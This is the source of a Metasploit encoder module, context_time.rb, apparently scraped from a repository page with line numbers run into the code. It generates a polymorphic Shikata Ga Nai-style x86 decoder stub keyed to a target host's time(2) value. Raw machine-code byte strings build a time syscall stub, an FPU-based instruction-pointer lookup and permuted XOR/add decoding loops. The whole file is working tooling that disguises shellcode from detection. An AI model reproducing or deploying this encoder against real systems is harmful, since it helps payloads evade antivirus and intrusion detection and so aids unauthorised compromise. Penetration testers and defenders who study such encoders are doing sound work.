Path: blob/master/modules/encoders/x86/context_time.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/poly'67class MetasploitModule < Msf::Encoder::XorAdditiveFeedback89# Manual ranking because the time(2) key is generated and supplied10# manually.1112Rank = ManualRanking1314def initialize15super(16'Name' => 'time(2)-based Context Keyed Payload Encoder',17'Description' => %q{18This is a Context-Keyed Payload Encoder based on time(2)19and Shikata Ga Nai.20},21'Author' => 'Dimitris Glynos',22'Arch' => ARCH_X86,23'License' => MSF_LICENSE,24'Decoder' => {25'KeySize' => 4,26'BlockSize' => 427})2829register_options(30[31OptString.new(32'TIME_KEY',33[34true,35'TIME key from target host (see tools/context/time-key utility)',36'0x00000000'37]38)39]40)41end4243def obtain_key(_buf, _badchars, state)44state.key = datastore['TIME_KEY'].hex45return state.key46end4748#49# Generates the shikata decoder stub.50#51def decoder_stub(state)52# If the decoder stub has not already been generated for this state, do53# it now. The decoder stub method may be called more than once.54if state.decoder_stub.nil?55# Shikata will only cut off the last 1-4 bytes of it's own end56# depending on the alignment of the original buffer57cutoff = 4 - (state.buf.length & 3)58block = keygen_stub + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)5960# Take the last 1-4 bytes of shikata and prepend them to the buffer61# that is going to be encoded to make it align on a 4-byte boundary.62state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf6364# Cache this decoder stub. The reason we cache the decoder stub is65# because we need to ensure that the same stub is returned every time66# for a given encoder state.67state.decoder_stub = block68end6970state.decoder_stub71end7273protected7475def keygen_stub76"\x31\xdb" + # xor %ebx,%ebx77"\x8d\x43\x0d" + # lea 0xd(%ebx),%eax78"\xcd\x80" + # int $0x8079"\x66\x31\xc0" # xor %ax,%ax80end8182#83# Returns the set of FPU instructions that can be used for the FPU block of84# the decoder stub.85#86def fpu_instructions87fpus = []88890xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }900xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }910xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }920xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }930xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }9495fpus << "\xd9\xd0"96fpus << "\xd9\xe1"97fpus << "\xd9\xf6"98fpus << "\xd9\xf7"99fpus << "\xd9\xe5"100101# This FPU instruction seems to fail consistently on Linux102# fpus << "\xdb\xe1"103104fpus105end106107#108# Returns a polymorphic decoder stub that is capable of decoding a buffer109# of the supplied length and encodes the last cutoff bytes of itself.110#111def generate_shikata_block(state, length, cutoff)112# Declare logical registers113key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')114addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')115116# Declare individual blocks117endb = Rex::Poly::SymbolicBlock::End.new118119# FPU blocks120fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)121fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")122123# Get EIP off the stack124popeip = Rex::Poly::LogicalBlock.new(125'popeip',126proc { |b| (0x58 + b.regnum_of(addr_reg)).chr }127)128129# Clear the counter register130clear_register = Rex::Poly::LogicalBlock.new(131'clear_register',132"\x31\xc9",133"\x29\xc9",134"\x33\xc9",135"\x2b\xc9"136)137138# Initialize the counter after zeroing it139init_counter = Rex::Poly::LogicalBlock.new('init_counter')140141# Divide the length by four but ensure that it aligns on a block size142# boundary (4 byte).143length += 4 + (4 - (length & 3)) & 3144length /= 4145146if (length <= 255)147init_counter.add_perm("\xb1" + [ length ].pack('C'))148else149init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))150end151152# Key initialization block153154# Decoder loop block155loop_block = Rex::Poly::LogicalBlock.new('loop_block')156157xor = proc { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }158xor1 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }159xor2 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }160add = proc { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }161add1 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }162add2 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }163sub4 = proc { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }164add4 = proc { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }165166loop_block.add_perm(167proc { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },168proc { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },169proc { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },170proc { |b| xor1.call(b) + add1.call(b) + add4.call(b) },171proc { |b| xor1.call(b) + add4.call(b) + add2.call(b) },172proc { |b| add4.call(b) + xor2.call(b) + add2.call(b) }173)174175# Loop instruction block176loop_inst = Rex::Poly::LogicalBlock.new(177'loop_inst',178"\xe2\xf5"179)180181# Define block dependencies182fnstenv.depends_on(fpu)183popeip.depends_on(fnstenv)184init_counter.depends_on(clear_register)185loop_block.depends_on(popeip, init_counter)186loop_inst.depends_on(loop_block)187188# Generate a permutation saving the EAX, ECX and ESP registers189loop_inst.generate([190Rex::Arch::X86::EAX,191Rex::Arch::X86::ESP,192Rex::Arch::X86::ECX193], nil, state.badchars)194end195end196197198